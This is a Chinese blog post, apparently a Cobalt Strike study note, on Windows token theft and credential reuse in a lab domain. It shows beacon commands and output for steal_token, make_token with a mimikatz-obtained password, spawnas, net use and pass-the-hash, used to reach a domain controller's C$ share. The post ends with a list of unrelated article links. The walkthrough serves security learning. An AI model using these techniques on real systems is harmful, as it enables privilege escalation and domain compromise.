【CS学习笔记】17、登录验证的难点
0x00 前言
如果当前账号权限被系统认为是本地管理员权限,那么就可以执行很多管理员才能做的事,接下来就来看一下这样的一个过程是如何工作的,其中会涉及到以下要点:
1、Access Token
登录令牌
2、Credentials
凭证
3、Password Hashes
密码哈希
4、Kerberos Tickets
登录凭据
0x01 登录令牌
- 登录令牌在登录之后被创建
- 与每个进程和线程相关联
- 包括:
- 用户和用户组的信息
- 本地计算机上的特权列表
- 限制(删除用户和用户组的权限)
- 参考凭证(支持单点登录)
- 一直保存在内存中,直到系统重启
以下是令牌窃取的过程:
- 使用
ps
列出进程 - 使用
steal_token [pid]
窃取令牌 - 使用
getuid
找到你是谁 - 使用
rev2self
移除令牌
接下来将对这些命令进行演示,目前有一个 SYSTEM 权限的会话,该会话在 WIN-72A8ERDSF2P 主机下,此时想查看 WIN-P2AASSD1AF1 主机下的文件(WIN-P2AASSD1AF1 主机是 TEAMSSIX 域的域控制器),那么直接运行 dir 会提示拒绝访问。
beacon> shell dir \WIN-P2AASSD1AF1C$
[*] Tasked beacon to run: dir \WIN-P2AASSD1AF1C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。
此时,先用 ps
查看一下当前系统进程信息。
beacon> ps
[*] Tasked beacon to list processes
[+] host called home, sent: 12 bytes
[*] Process List
PID PPID Name Arch Session User
--- ---- ---- ---- ------- -----
0 0 [System Process]
4 0 System x64 0 NT AUTHORITYSYSTEM
……内容太多,此处省略……
3720 524 taskhost.exe x64 2 WIN-72A8ERDSF2PAdministrator
4092 236 dwm.exe x64 3 TEAMSSIXAdministrator
通过进程信息可以发现 TEAMSSIX 域下的管理员账户此时在当前 SYSTEM 会话的主机上是登录着的,使用 steal_token [pid]
命令窃取 TEAMSSIXAdministrator 账户的令牌
beacon> steal_token 4092
[*] Tasked beacon to steal token from PID 4092
[+] host called home, sent: 12 bytes
[+] Impersonated TEAMSSIXadministrator
查看一下当前会话 uid
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are TEAMSSIXadministrator (admin)
再次尝试获取域控制器主机下的文件
beacon> shell dir \WIN-P2AASSD1AF1C$
[*] Tasked beacon to run: dir \WIN-P2AASSD1AF1C$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \WIN-P2AASSD1AF1C$ 中的卷没有标签。卷的序列号是 F269-89A7
\WIN-P2AASSD1AF1C$ 的目录
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows
0 个文件 0 字节
4 个目录 28,493,299,712 可用字节
发现可以成功访问了,使用 rev2self
可移除当前窃取的令牌
beacon> rev2self
[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes
再次查看 uid 发现变成了原来的 SYSTEM 权限,此时 WIN-P2AASSD1AF1 主机上的文件也拒绝访问了。
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 8 bytes
[*] You are NT AUTHORITYSYSTEM (admin)
beacon> shell dir \WIN-P2AASSD1AF1C$
[*] Tasked beacon to run: dir \WIN-P2AASSD1AF1C$
[+] host called home, sent: 55 bytes
[+] received output:
拒绝访问。
0x02 凭证
1、使用 make_token 创建一个令牌
make_token DOMAINuser password
在运行命令之前,需要知道要获取令牌用户的密码,这里可以使用 mimikatz 进行获取,具体的方法可参考《CS学习笔记 | 14、powerup提权的方法》这一节中的介绍。
这里还是和上文一样的环境,在一个 SYSTEM 会话下,获取 TEAMSSIXadministrator 账号令牌,使用 mimikatz 可以得知 TEAMSSIXadministrator 账号密码为 Test111!,接下来使用 make_token
命令。
beacon> make_token TEAMSSIXadministrator Test111!
[*] Tasked beacon to create a token for TEAMSSIXadministrator
[+] host called home, sent: 53 bytes
[+] Impersonated NT AUTHORITYSYSTEM
beacon> shell dir \WIN-P2AASSD1AF1C$
[*] Tasked beacon to run: dir \WIN-P2AASSD1AF1C$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \WIN-P2AASSD1AF1C$ 中的卷没有标签。卷的序列号是 F269-89A7
\WIN-P2AASSD1AF1C$ 的目录
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows
0 个文件 0 字节
4 个目录 28,493,299,712 可用字节
beacon> powershell Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssixadministrator
当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。
同样的使用 rev2self
可除去当前令牌,恢复原来的 SYSTEM 权限。
2、使用 spawn beacon 替代凭证
spawnas DOMAINuser password
3、在目标上建立账户
net use \hostC$/USER:DOMAINuser password
这两种方法,在之前的笔记中都或多或少的提及过,这里不再过多赘述。
0x03 密码哈希
使用 mimikatz 获取密码哈希
pth DOMAINuser ntlmhash
如何工作的?
1、mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
2、cobalt strike 自动的从那个进程中窃取令牌并关闭
原文链接:https://www.teamssix.com/year/200419-150622.html 参考链接:https://www.bilibili.com/video/BV16b411i7n5
往期推荐
- python爬虫beautifulsoup4系列4-子节点
- 元胞自动机实现多数分类算法
- 51Nod 1289 大鱼吃小鱼(模拟,经典好题)
- 用Metaclass实现一个精简的ORM框架
- HDU 2504 又见GCD(最大公约数与最小公倍数变形题)
- Selenium2+python自动化63-二次封装(click/send_kesy)
- Selenium2+python自动化65-js定位几种方法总结
- HDU 2502 月之数(二进制,规律)
- Tensorflow实战系列:手把手教你使用CNN进行图像分类(附完整代码)
- HDU 2503 a/b + c/d(最大公约数与最小公倍数,板子题)
- python接口自动化6-重定向(Location)
- 2017广东工业大学程序设计竞赛初赛 题解&源码(A,水 B,数学 C,二分 D,枚举 E,dp F,思维题 G,字符串处理 H,枚举)
- python接口自动化7-参数关联
- 深度学习GPU环境Ubuntu16.04+GTX1080+CUDA9+cuDNN7+TensorFlow1.6环境配置
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Linux Ubuntu 安装 Fish Shell 教程以及配置和使用方法
- 2020-10-02:golang如何写一个插件?
- Kubernetes 1.19.0——健康性检查
- leetcode栈之用两个栈实现队列
- Ui Automator 框架和Ui Automator Viewer你会用吗?附送「必备adb命令」拿走不谢 !
- 3分钟短文:Laravel模型读数据的那个“障眼法”
- 你有一份面试题要查收
- @RequestParam,@RequestBody,@PathVariable注解区别
- linux centos 查看cpu是否开启超线程虚拟化和配置信息
- DDD领域驱动设计实战(三)- 理解实体
- 如何理解 Go 中的反射
- Kubernetes 1.19.0——网络
- 如何用VSCode实现一个vue.js项目?
- 网页轮播图案例
- leetcode栈之用队列实现栈